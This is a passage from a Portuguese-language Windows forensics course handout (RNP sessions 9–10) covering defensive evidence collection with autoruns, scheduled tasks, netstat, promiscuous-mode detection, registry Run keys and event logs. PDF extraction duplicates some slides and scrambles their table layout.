Serviços em execução D:\IR\xp> autorunsc Autoruns v8.61 - Autostart program viewer HKLM\System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\StartupPrograms rdpclip RDP Clip Monitor Microsoft Corporation c:\windows\system32\rdpclip.exe HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit C:\WINDOWS\system32\userinit.exe Userinit Logon Application Microsoft Corporation c:\windows\system32\userinit.exe HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SynTPLpr TouchPad Driver Helper Application Synaptics, Inc. c:\program files\synaptics\syntp\syntplpr.exe
Autoruns v8.61 - Autostart program viewer HKLM\System\CurrentControlSet\Control\Terminal Serv er\Wds\rdpwd\StartupPrograms rdpclip RDP Clip Monitor Microsoft Corporation c:\windows\system32\rdpclip.exe HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\W inlogon\Userinit C:\WINDOWS\system32\userinit.exe Userinit Logon Application Microsoft Corporation c:\windows\system32\userinit.exe HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SynTPLpr TouchPad Driver Helper Application Synaptics, Inc. c:\program files\synaptics\syntp\syntplpr.exe
Além desta chave de registro, existem muitas outras que permitem a inicialização automática de processos. Por isso, podemos usar ferramentas como o autorunsc. exe para listar todas as possibilidades. Repare que ela lista diversas chaves de registro e arquivos de configuração que permitem a execução automática de programas. Esta é a versão gráfica da ferramenta anterior, que permite ligar ou desligar programas que estão iniciando automaticamente.
Análise forense – Sessão de aprendizagem 9
151
Serviços em execução
D:\IR\xp> schtasks TaskName Next Run Time ==================================== AppleSoftwareUpdate 09:42:00, 4/2/2008 MP Scheduled Scan 01:36:00, 30/1/2008
Status
Conclusões Existem muitas informações que devem ser coletadas em um sistema comprometido Vimos como coletar informações básicas sobre o sistema, e também como listar e identificar os processos em execução na máquina As bibliotecas carregadas pelos processos e os arquivos abertos são importantes fontes de informação para auxiliar a investigação A execução automática de programas é uma informação que também deve ser coletada
Análise forense avançada em Windows
Finalmente, a última forma que estudaremos de checar processos que podem ser executados automaticamente é a verificação dos processos agendados. O agendamento de tarefas permite definir uma data e hora para a execução de um programa. Para listar os agendamentos existentes, podemos usar a ferramenta schtasks.exe.
Conclusões Na próxima sessão vamos conhecer as ferramentas que podem ser usadas para coletar informações sobre conexões de rede, além de conhecer mais sobre algumas características de sistemas Windows, como arquivos em Alternate Data Streams, logs de eventos e o registro do sistema, além de ferramentas para investigar históricos de navegação na internet e de recuperação de senhas.
Escola Superior de Redes RNP
Análise forense – Sessão de aprendizagem 9
152
9 Sessão de aprendizagem 9 Análise forense avançada em Windows Roteiro de atividades Tópicos e conceitos \\Identificar
os processos e serviços de uma estação Windows.
Competências técnicas desenvolvidas \\O
aluno aprenderá a descobrir informações sobre o sistema Windows e identificar processos.
Outras competências desenvolvidas \\Capacidade
de investigação e pesquisa do aluno.
Tempo previsto para as atividades \\90
minutos
Escola Superior de Redes RNP
154
Atividade 1 – Levantando informações do sistema
Execute em sua estação os comandos, informações básicas do sistema, processos em execução e bibliotecas utilizadas, fazendo um relatório do que encontrar. Existem usuários suspeitos no sistema? Há compartilhamento de disco? Dos processos e bibliotecas encontrados, liste aqueles que você não soube identificar para que servem.
Atividade 2 – Identificando processos comprometidos 1. Procure na internet mais informações sobre os processos listados acima como desconhecidos. Além disso, pesquise os processos em execução que podem ser confundidos com programas maliciosos. Exemplo: o processo svchost.exe pode ser confundido com diversos vírus; encontre informações na internet que confirmem essa informação. Relate não somente o site onde achou a informação, mas exemplos de programas maliciosos que podem ser confundidos com os processos do sistema. 2. Pesquise os serviços instalados em sua estação. Faça um relatório sobre todos os programas auto-executáveis, procurando na internet informações sobre eles, assim como foi feito no exercício anterior.
Atividade 3 – Novas ferramentas
Use o tempo restante para procurar na internet novas ferramentas que podem ser utilizadas para conseguir outras informações além das que vimos nesta sessão. Faça um relatório dos sites que encontrar, com uma breve descrição das ferramentas.
Análise forense – Sessão de aprendizagem 9
10 Sessão de aprendizagem 10 Análise forense avançada em Windows (parte 2) Sumário da sessão Coleta de informações de redes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 156 Coleta de informações em registros do Windows. . . . . . . . . . . . . . . . . . . . . . 160 Coleta de registros de eventos (logs). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164 Análise de conteúdo do Recycle.Bin. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167 Análise de conteúdo do Clipboard . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168 Análise de conteúdo de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168 Recuperação de dados ocultos ADS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 170 Análise do histórico de navegação. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172 Recuperação de senhas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174 Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 175 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 177 Atividade 1 – Coleta de informações de redes . . . . . . . . . . . . . . . . . . . . . . . . 178 Atividade 2 – Coleta de informações em registros do Windows. . . . . . . . . . . . 178 Atividade 3 – Análise de conteúdo do Recycle.Bin. . . . . . . . . . . . . . . . . . . . . . 178 Atividade 4 – Recuperação de dados ocultos ADS . . . . . . . . . . . . . . . . . . . . . 178 Atividade 5 – Análise do histórico de navegação. . . . . . . . . . . . . . . . . . . . . . . 178 Atividade 6 – Recuperação de senhas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179
156
Escola Superior de Redes RNP
Coleta de informações de redes Conexões de rede São evidências voláteis Podem dar pistas sobre a origem dos invasores Podem dar dicas sobre possíveis vazamentos de informação ou mau uso do sistema
Existem dois tipos de informação importantes de coletar: Conexões ativas, ou seja, aquelas que estão acontecendo no momento atual Portas abertas, ou os serviços que a máquina está oferecendo publicamente
O investigador deve comparar a saída de diversos comandos diferentes, pois os rootkits costumam esconder informações sobre conexões de redes e portas abertas.
Coleta de informações de redes Conexões de rede D:\IR\xp> ipconfig /all
Windows IP Configuration Host Name . . . . . . . . . . . . : COMPUTADOR Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : provedor.com.br Ethernet adapter Wireless Network Connection 2: Connection-specific DNS Suffix . : provedor.com.br Description . . . . . . . . . . . : Broadcom 802.11b/g WLAN Physical Address. . . . . . . . . : 00-90-4B-EA-0F-F3 Dhcp Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes IP Address. . . . . . . . . . . . : 192.168.0.194 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.0.1 DHCP Server . . . . . . . . . . . : 192.168.0.1 DNS Servers . . . . . . . . . . . : 192.168.0.10 192.168.0.1 Lease Obtained. . . . . . . . . . : quarta-feira, 30 de janeiro de 2008 16:42:06 Lease Expires . . . . . . . . . . : quarta-feira, 6 de fevereiro de 2008 16:42:06
Coleta de informações de redes Conexões de rede D:\IR\xp> iplist DiamondCS IP Enumerator v1.0 (www.diamondcs.com.au) # ADDRESS BROADCAST NETMASK -1040144192 192.168.0.194 255.255.255.255 255.255.255.0 16777343 127.0.0.1 255.255.255.255 255.0.0.0 19900608 192.168.47.1 255.255.255.255 255.255.255.0 3 interfaces found.
Coleta de informações de redes É importante notar as informações sobre as configurações de IP de todas as interfaces de rede, incluindo aquelas que forem interfaces wireless. Além disso, é importante notar se a máquina possui um IP configurado estaticamente ou se usa DHCP para se auto-configurar. Por fim, também é necessário anotar todos os endereços MAC das placas instaladas no computador, para correlacionar posteriormente estas informações com logs externos. D:\IR\xp> ipconfig /all8 Windows IP Configuration Host Name . . . . . . . . . . . : Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . : IP Routing Enabled. . . . . . . : WINS Proxy Enabled. . . . . . . : DNS Suffix Search List. . . . . .: Ethernet adapter Wireless Network Connection-specific DNS Suffix . : Description . . . . . . . . . . : b/g WLAN Physical Address. . . . . . . . : Dhcp Enabled. . . . . . . . . . : Autoconfiguration Enabled . . . .: IP Address. . . . . . . . . . . : Subnet Mask . . . . . . . . . . : Default Gateway . . . . . . . . . DHCP Server . . . . . . . . . . . DNS Servers . . . . . . . . . . .
COMPUTADOR Hybrid No No provedor.com.br Connection 2: provedor.com.br Broadcom 802.11
00-90-4B-EA-0F-F3 Yes Yes 192.168.0.194 255.255.255.0 : 192.168.0.1 : 192.168.0.1 : 192.168.0.10 192.168.0.1 Lease Obtained. . . . . . . . . . : quarta-feira, 30 de janeiro de 2008 16:42:06 Lease Expires . . . . . . . . . . : quarta-feira, 6 de fevereiro de 2008 16:42:06 D:\IR\xp> iplist8 DiamondCS IP Enumerator v1.0 (www.diamondcs.com.au) # ADDRESS BROADCAST NETMASK -1040144192 192.168.0.194 255.255.255.255 255.2 55.255.0 16777343 127.0.0.1 255.255.255.255 255.0 .0.0 19900608 192.168.47.1 255.255.255.255 255.2 55.255.0 3 interfaces found.
A ferramenta IPLIST, presente no kit, permite listar apenas as configurações de IP para as interfaces configuradas no sistema.
Análise forense – Sessão de aprendizagem 10
157
D:\IR\xp> netstat –na8
Coleta de informações de redes Conexões de rede D:\IR\xp> netstat -na Active Connections Proto Local Address TCP 0.0.0.0:135 TCP 0.0.0.0:445 TCP 127.0.0.1:1096 TCP 127.0.0.1:1097 TCP 127.0.0.1:12025 TCP 192.168.0.194:2355 TCP 192.168.0.194:2395 UDP 0.0.0.0:445 UDP 0.0.0.0:500 ...
Foreign Address 0.0.0.0:0 0.0.0.0:0 127.0.0.1:1097 127.0.0.1:1096 0.0.0.0:0 64.233.171.104:80 66.249.83.19:443 *:* *:*
State LISTENING LISTENING ESTABLISHED ESTABLISHED LISTENING LAST_ACK CLOSE_WAIT
Conexões de rede ESTABLISHED
Coleta de informações de redes Conexões de rede D:\IR\xp> openports DiamondCS OpenPorts v1.0 (-? SYSTEM [4] TCP 0.0.0.0:445 UDP 192.168.47.1:138 UDP 0.0.0.0:445 UDP 192.168.0.194:1900 TCP 192.168.0.194:1074 UDP 192.168.0.194:46759 UDP 127.0.0.1:2617 TCP 127.0.0.1:1101 TCP 127.0.0.1:1102 TCP 192.168.0.194:2670 TCP 127.0.0.1:1097 TCP 127.0.0.1:1096 TCP 192.168.0.194:2668
for help) 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 207.46.109.93:1863 0.0.0.0:0 0.0.0.0:0 127.0.0.1:1102 127.0.0.1:1101 66.249.83.83:443 127.0.0.1:1096 127.0.0.1:1097 66.249.83.19:443
Verificamos também no slide alguns serviços oferecidos pelo protocolo UDP.
D:\IR\xp> netstat -nbv8
Coleta de informações de redes
D:\IR\xp> netstat -nbv Active Connections TCP 127.0.0.1:1097 127.0.0.1:1096 2512 C:\WINDOWS\system32\mswsock.dll C:\WINDOWS\system32\WS2_32.dll C:\Program Files\Mozilla Firefox\nspr4.dll C:\Program Files\Mozilla Firefox\xpcom_core.dll C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\xpcom_core.dll C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\xpcom_core.dll -- unknown component(s) -[firefox.exe] ...
Podemos ver no slide algumas conexões estabelecidas e outras que foram fechadas, embora ainda não tenham ultrapassado o tempo de tcp timeout. Esta é uma característica das conexões TCP, que pode ser útil para capturar também conexões que já foram fechadas.
LISTENING LISTENING LISTENING svchost.exe [380] LISTENING MsnMsgr.Exe [884] ESTABLISHED LISTENING wmplayer.exe [984] LISTENING lsass.exe [1144] ESTABLISHED ESTABLISHED CLOSE_WAIT ESTABLISHED ESTABLISHED ESTABLISHED
Active Connections TCP 127.0.0.1:1097 127.0.0.1:1096 ESTABLISHED 2512 C:\WINDOWS\system32\mswsock.dll C:\WINDOWS\system32\WS2_32.dll C:\Program Files\Mozilla Firefox\nspr4.dll C:\Program Files\Mozilla Firefox\xpcom_core.dll C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\xpcom_core.dll C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\xpcom_core.dll -- unknown component(s) -[firefox.exe] ...
Outra forma de usar o comando netstat.exe permite que sejam listados os processos associados a cada conexão, informação importante que difere da versão Unix do comando. Esta versão do netstat.exe permite listar toda a pilha de processos que estão associadas a uma conexão. Normalmente, somente o processo que abriu a conexão é listado. Podemos ver entre colchetes, no fim da listagem, o nome do processo que solicitou a criação da conexão, mas também podemos ver acima toda a pilha de processos utilizada para criar a conexão, até chegar na pilha TCP/IP.
Esta é uma informação importante, pois permite detectar a presença de processos estranhos que estejam interceptando a criação de conexões e, com isso, capazes de capturar informações confidenciais.
D:\IR\xp> openports8 DiamondCS OpenPorts v1.0 (-? for help) SYSTEM [4] TCP 0.0.0.0:445 0.0.0.0:0
Análise forense avançada em Windows (parte 2)
LISTENING
158
Escola Superior de Redes RNP UDP UDP UDP TCP UDP UDP TCP TCP TCP TCP TCP TCP
192.168.47.1:138 0.0.0.0:0 LISTENING 0.0.0.0:445 0.0.0.0:0 LISTENING svchost.exe [380] 192.168.0.194:1900 0.0.0.0:0 LISTENING MsnMsgr.Exe [884] 192.168.0.194:1074 207.46.109.93:1863 ESTABLISHED 192.168.0.194:46759 0.0.0.0:0 LISTENING wmplayer.exe [984] 127.0.0.1:2617 0.0.0.0:0 LISTENING lsass.exe [1144] 127.0.0.1:1101 127.0.0.1:1102 ESTABLISHED 127.0.0.1:1102 127.0.0.1:1101 ESTABLISHED 192.168.0.194:2670 66.249.83.83:443 CLOSE_WAIT 127.0.0.1:1097 127.0.0.1:1096 ESTABLISHED 127.0.0.1:1096 127.0.0.1:1097 ESTABLISHED 192.168.0.194:2668 66.249.83.19:443 ESTABLISHED
Vemos novamente os processos associados às portas abertas, mas este comando não faz o mapeamento completo de portas para processos.
Coleta de informações de redes Conexões de rede D:\IR\xp> fport FPort v2.0 - TCP/IP Process to Pid Process Port 1364 -> 135 4 System -> 139 4 System -> 445 2156 -> 1025 884 MsnMsgr -> 1074 Messenger\MsnMsgr.Exe 2512 firefox -> 1096 Firefox\firefox.exe 2512 firefox -> 1097 Firefox\firefox.exe 2512 firefox -> 1101 Firefox\firefox.exe ...
Port Mapper Proto Path TCP TCP TCP TCP TCP C:\Program Files\MSN TCP
C:\Program Files\Mozilla
TCP
C:\Program Files\Mozilla
TCP
C:\Program Files\Mozilla
D:\IR\xp> fport8 FPort v2.0 - TCP/IP Process Pid Process Port 1364 -> 135 4 System -> 139 4 System -> 445 2156 -> 1025 884 MsnMsgr -> 1074 \MSN Messenger\MsnMsgr.Exe 2512 firefox -> 1096 \Mozilla Firefox\firefox.exe 2512 firefox -> 1097 \Mozilla Firefox\firefox.exe 2512 firefox -> 1101 \Mozilla Firefox\firefox.exe ...
to Port Mapper Proto Path TCP TCP TCP TCP TCP C:\Program Files TCP
C:\Program Files
TCP
C:\Program Files
TCP
C:\Program Files
Temos agora informações sobre conexões de rede abertas e serviços oferecidos pela máquina. Dependendo do incidente, estas informações podem comprovar ou auxiliar na identificação dos responsáveis.
Análise forense – Sessão de aprendizagem 10
159
Além das ferramentas de comando de linha estudadas, ainda existem duas ferramentas com interface gráfica que podem ser utilizadas para coletar informações sobre conexões de rede. Uma delas já foi vista na sessão passada: trata-se da ferramenta procexp.exe. Ela permite visualizar propriedades sobre um processo em execução; entre estas propriedades estão as conexões de rede utilizadas pelo processo. Outra ferramenta que também permite visualizar este tipo de informação é chamada cports.exe. Ela contém muitas informações interessantes sobre os processos que estão mantendo conexões abertas. Execute a ferramenta em sua estação e examine as colunas de informação para cada processo.
Coleta de informações de redes Conexões de rede D:\IR\xp> promiscdetect Adapter name: - Broadcom 802.11b/g WLAN Active filter for the adapter: - Directed (capture packets directed to this computer) - Multicast (capture multicast packets for groups the computer is a member of) - Broadcast (capture broadcast packets) - Promiscuous (capture all packets on the network) WARNING: Since this adapter is in promiscuous mode there could be a sniffer running on this computer! Adapter name: - Realtek RTL8139/810x Family Fast Ethernet NIC Active filter for the adapter: - Directed (capture packets directed to this computer) - Multicast (capture multicast packets for groups the computer is a member of) - Broadcast (capture broadcast packets)
D:\IR\xp> promiscdetect8 Adapter name: - Broadcom 802.11b/g WLAN Active filter for the adapter: - Directed (capture packets directed to this comput er) - Multicast (capture multicast packets for groups t he computer is a member of) - Broadcast (capture broadcast packets) - Promiscuous (capture all packets on the network) WARNING: Since this adapter is in promiscuous mode there could be a sniffer running on this computer! Adapter name: - Realtek RTL8139/810x Family Fast Ethernet NIC Active filter for the adapter: - Directed (capture packets directed to this compu ter) - Multicast (capture multicast packets for groups the computer is a member of) - Broadcast (capture broadcast packets)
Uma informação que pode ser uma indicação forte de que a máquina foi comprometida é o fato de alguma de suas interfaces de rede estar funcionando em modo promíscuo. Este tipo de funcionamento faz com que o driver de rede associado à interface capture todos os pacotes que passem pela rede, mesmo aqueles que não são direcionados à própria máquina. Com isso, é possível monitorar todo o tráfego de rede, coletando informações confidenciais como senhas e logins, entre outras. Para detectar a presença de alguma interface de rede em modo promíscuo, existe uma ferramenta no kit chamada promiscdetect.exe. Vemos no slide que uma das interfaces está configurada para funcionar em modo promíscuo, e com isso capturar todos os pacotes que passam pela rede, o que pode ser indicativo da presença de um sniffer, e quase certamente do comprometimento da máquina.
Análise forense avançada em Windows (parte 2)
160
Escola Superior de Redes RNP
Coleta de informações em registros do Windows Registro do Windows Uma das características que diferenciam a coleta de evidências em Linux e Windows Base hierárquica e centralizada de dados utilizada pelo Windows para armazenar informações necessárias para a configuração do sistema (para um ou mais usuários), aplicações e dispositivos de hardware O registro é um arquivo binário de dados Para poder acessar os dados neste arquivo, devemos exportar o registro em formato de texto ou utilizar ferramentas que permitam realizar consultas no registro A ferramenta mais utilizada é o regedit.exe da própria Microsoft
Coleta de informações em registros do Windows Os arquivos de registro em um sistema Windows XP estão localizados em C:\windows\system32\config. Estes arquivos não podem ser copiados normalmente. Para isso devemos utilizar uma ferramenta. A utilização da ferramenta regedit.exe faz com que os dados presentes nos arquivos SAM e SECURITY não fiquem visíveis. Existe um arquivo adicional de registro chamado NTUSER.DAT, localizado no diretório do usuário, em C:\ Documents and Settings\, que possui todas as configurações pessoais do usuário.
Coleta de informações em registros do Windows Registro do Windows Localizado em C:\windows\system32\config Registro
Função
DEFAULT
Armazena todas as informações originais do usuário.
SAM
Armazena informações do serviço Security Accounts Manager.
SECURITY
Armazena informações de segurança.
SOFTWARE
Armazena informações sobre os aplicativos e operação.
SYSTEM
Armazenas informações sobre o hardware da máquina.
Registros e respectivas funções: \\DEFAULT
– Armazena todas as informações originais do usuário.
– Armazena informações do serviço Security Accounts Manager.
\\SAM
\\SECURITY
– Armazena informações de segurança.
\\SOFTWARE
– Armazena informações sobre os aplicativos e operação.
\\SYSTEM
– Armazenas informações sobre o hardware da máquina.
Coleta de informações em registros do Windows Chaves de registro HKEY_CURRENT_USER HKEY_USERS HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG
Conforme mencionamos, o registro do Windows é uma base de dados hierárquica composta de chaves (keys) e valores (values). No campo de valores está representada a informação armazenada no registro. O campo de valores pode possuir os seguintes formatos: string, binary e DWORD. HKEY_CURRENT_USER
Contém as informações de configuração do usuário. HKEY_USERS
Contém o perfil dos usuários do computador. HKEY_LOCAL_MACHINE
Contém as informações específicas do computador relacionadas com hardware e software.
Análise forense – Sessão de aprendizagem 10
161
HKEY_CLASSES_ROOT
Contém informações sobre as associações de arquivos. HKEY_CURRENT_CONFIG
Contém as informações do perfil do hardware do computador. As chaves do registro podem ter seu nome abreviado, o que facilita a execução de uma busca pelo comando de linha: HKEY_LOCAL_MACHINE: HKLM HKEY_CLASSES_ROOT: HKCR HKEY_CURRENT_USER: HKCU HKEY_USERS: HKU HKEY_CURRENT_CONFIG: HKCC \\REG_BINARY
Coleta de informações em registros do Windows REG_BINARY
Dados binários não-processados.
REG_DWORD
Dados representados por um número de 4 bytes.
REG_EXPAND_SZ
Seqüência de dados com extensão variável.
REG_MULTI_SZ
Uma seqüência múltipla.
REG_SZ
Seqüência de texto com extensão fixa.
REG_RESOURCE_LIST
Série de matrizes para armazenar lista de recursos usada por driver de dispositivo de hardware ou pelos dispositivos físicos controlados por ele.
REG_RESOURCE_REQUIREMENTS_LIST
Série de matrizes para armazenar lista de drivers de dispositivo de hardware.
REG_FULL_RESOURCE_DESCRIPTOR
Série de matrizes para armazenar lista de drivers de dispositivo de hardware.
REG_NONE
Dados sem um tipo específico.
REG_LINK
Uma seqüência Unicode que nomeia um link simbólico.
REG_QWORD
Dados representados por um número que seja um inteiro de 64 bytes.
– Dados binários não-processados. Grande parte das informações do componente de hardware é armazenada como dado binário e exibida em formato hexadecimal no Editor do Registro.
\\REG_DWORD
– Dados representados por um número de 4 bytes. Muitos parâmetros para drivers e serviços de dispositivos apresentam esse tipo e são exibidos no Editor do Registro em formato binário, hexadecimal ou decimal.
\\REG_EXPAND_SZ
– Seqüência de dados com extensão variável. Esses tipos de dados incluem variáveis que são resolvidas quando um programa ou serviço usa os dados.
\\REG_MULTI_SZ
– Seqüência múltipla. Valores que contêm listas ou valores múltiplos em um formato que as pessoas conseguem ler são geralmente deste tipo. As entradas são separadas por espaços, vírgulas ou outras pontuações.
\\REG_SZ
– Seqüência de texto com extensão fixa.
\\REG_RESOURCE_LIST
– Série de matrizes para armazenar lista de recursos usada por driver de dispositivo de hardware ou pelos dispositivos físicos controlados por ele. Esses dados são detectados e gravados pelo sistema na árvore \ResourceMap e exibidos no Editor do Registro em formato hexadecimal como valores binários.
\\REG_RESOURCE_REQUIREMENTS_LIST
– Série de matrizes criadas para armazenar uma lista de drivers de dispositivos de possíveis recursos de hardware que o driver ou um dos dispositivos físicos que ele controla possam usar. O sistema grava um subconjunto desta lista na árvore \ResourceMap. Estes dados são detectados pelo sistema e exibidos no Editor do Registro em formato hexadecimal como valores binários.
Análise forense avançada em Windows (parte 2)
162
Escola Superior de Redes RNP \\REG_FULL_RESOURCE_DESCRIPTOR
– Série de matrizes para armazenar lista de drivers de dispositivo de hardware. Também projetadas para armazenar uma lista de recursos usada por um dispositivo físico de hardware. Esses dados são detectados e gravados pelo sistema na árvore \ HardwareDescription e exibidos no Editor do Registro em formato hexadecimal como valores binários.
\\REG_NONE
– Dados sem um tipo específico, gravados pelo sistema ou pelos aplicativos no registro e exibidos no Editor do Registro em formato hexadecimal como valores binários.
\\REG_QWORD
– Dados representados por um número que seja um inteiro de 64 bits, exibidos no Editor do Registro como valores binários. Foram introduzidos pela primeira vez no Windows 2000.
Coleta de informações em registros do Windows Cópia do registro: D:\IR\xp> regdmp > d:\tmp\registry.txt D:\IR\xp> reg query HKCU\Software /s > d:\tmp\registry_HKCU.txt
Principais buscas nos registros: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\*
Cópia do registro: D:\IR\xp> regdmp > d:\tmp\registry.txt8 D:\IR\xp> reg query HKCU\Software /s > d:\tmp\regis try_HKCU.txt8
Principais buscas nos registros: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre ntVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre ntVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre ntVersion\RunServices HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre ntVersion\RunServicesOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren tVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren tVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren tVersion\RunServices HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren tVersion\RunServicesOnce HKEY_CURRENT_USER\Software\Microsoft\Internet Explo rer\TypedURLs HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren tVersion\Explorer\RunMRU HKCU\Software\Microsoft\Windows\CurrentVersion\Expl orer\ComDlg32\OpenSaveMRU\*
Para realizar uma cópia em formato de texto do registro do Windows podemos utilizar a ferramenta regdmp.exe. É necessário direcionar a saída do comando para um arquivo. O arquivo gerado nos permite realizar uma série de buscas em chaves consideradas importantes para o processo de coleta de informações. Podemos realizar consultas a chaves específicas ou a um diretório inteiro dentro do registro.
Análise forense – Sessão de aprendizagem 10
163
Podemos ver que a ferramenta permite realizar pesquisas por texto ou por uma faixa de datas de modificação de alguma das chaves. É interessante para achar modificações recentes no registro, causadas por algum vírus ou ferramenta de rootkit.
Uma forma adicional de realizar a cópia do registro é utilizando o aplicativo dumpreg.exe. Esta ferramenta permite realizar a cópia das seguintes chaves de registro: \\HKEY_LOCAL_MACHINE \\HKEY_USERS \\HKEY_CURRENT_USER
Análise forense avançada em Windows (parte 2)
164
Escola Superior de Redes RNP
Uma funcionalidade permite navegar nos dados ordenados por tempo, o que possibilita verificar mais facilmente em um determinado momento as chaves que foram modificadas.
Coleta de registros de eventos (logs) EventLogs: arquivos de log do Windows Application
Contém os registros enviados por programas e aplicativos.
Security Contém os registros de segurança relacionados com tentativas de acesso ao terminal do sistema e violação de privilégios.
System Contém os registros relacionados com o sistema e hardware; se um serviço não for inicializado corretamente será gerado um alerta.
Coleta de registros de eventos (logs) O sistema Windows possui uma série de registros de eventos, que diferentemente do Linux são gravados em formato binário e, portanto, necessitam de ferramentas especiais para acessar seu conteúdo. Além dos arquivos de log acima citados podem existir ainda outros três: \\Directory
Service Log (quando o sistema for um controlador de domínio)
\\File
Replication Service Log (quando o sistema for um controlador de domínio)
\\DNS
Server Log (quando o sistema for um servidor de DNS)
Outros processos do sistema podem criar arquivos de logs específicos, tal como ferramentas de antivírus ou firewall.
Coleta de registros de eventos (logs) EventLogs: arquivos de log do Windows Da mesma forma que os arquivos de registro, os arquivos de log estão armazenados no diretório c:\windows\system32\config e possuem a terminação .evt . D:\IR\xp> dir c:\windows\system32\config\*.evt Directory of c:\windows\system32\config 06/01/2008 14:42 65.536 Antiviru.evt 29/01/2008 05:11 65.536 Antivirus.Evt 29/01/2008 05:11 524.288 AppEvent.Evt 24/10/2006 19:23 65.536 Internet.evt 29/01/2008 05:11 524.288 SecEvent.Evt 29/01/2008 05:11 524.288 SysEvent.Evt
Análise forense – Sessão de aprendizagem 10
D:\IR\xp> dir c:\windows\system32\config\*.evt8 Directory of c:\windows\system32\config 06/01/2008 14:42 65.536 Antiviru.evt 29/01/2008 05:11 65.536 Antivirus.Evt 29/01/2008 05:11 524.288 AppEvent.Evt 24/10/2006 19:23 65.536 Internet.evt 29/01/2008 05:11 524.288 SecEvent.Evt 29/01/2008 05:11 524.288 SysEvent.Evt
165
Coleta de registros de eventos (logs)
Registro de eventos: D:\IR\xp> psloglist8
Registro de eventos D:\IR\xp> psloglist System log on \\COMPUTADOR: [494907] WinDefend Type: INFORMATION Computer: COMPUTADOR Time: 30/1/2008 20:03:49 ID: 2000 Windows Defender signature version has been updated. Current Signature Version: 1.24.6025.0 Previous Signature Version: 1.24.5865.0 Update Source: User Signature Type: AntiSpyware Update Type: Delta User: COMPUTADOR\Usuario Current Engine Version: 1.1.3109.0 Previous Engine Version: 1.1.3109.0 …
System log on \\COMPUTADOR: [494907] WinDefend Type: INFORMATION Computer: COMPUTADOR Time: 30/1/2008 20:03:49 ID: 2000 Windows Defender signature version has been updated. Current Signature Version: 1.24.6025.0 Previous Signature Version: 1.24.5865.0 Update Source: User Signature Type: AntiSpyware Update Type: Delta User: COMPUTADOR\Usuario Current Engine Version: 1.1.3109.0 Previous Engine Version: 1.1.3109.0 …
Podemos verificar que os registros de evento em um sistema Windows são bem diferentes dos logs que costumamos ver em um sistema Linux. Mesmo assim eles são importantes fontes de informação sobre os acontecimentos no sistema. Devido ao fato de serem arquivos binários, são muito mais difíceis de modificar pelos invasores que tentam esconder suas atividades.
Coleta de registros de eventos (logs)
Registro de eventos: D:\IR\xp> ..\2k\res_kit\dumpel /?8
Registro de eventos D:\IR\xp> ..\2k\res_kit\dumpel /? DUMPEL Usage: dumpel -f file [-s \\server] [-l log [-m source]] [-e n1 n2 n3..] [-r] [-t] [dx] -d Filters for event last days (number larger than zero) -e nn Filters for event id nn (up to 10 may be specified) -f Output filename (default stdout) -l Dumps the specified log (system, application, security) -b Dumps a backup file (use -l to specify file name) -m Filters for events logged by name -r Filters out events logged by name (must use -m too) -s Remote to servername -t Use tab to separate strings (default is space) -c Use comma to separate fields -ns Do not output strings -format Specify output format.
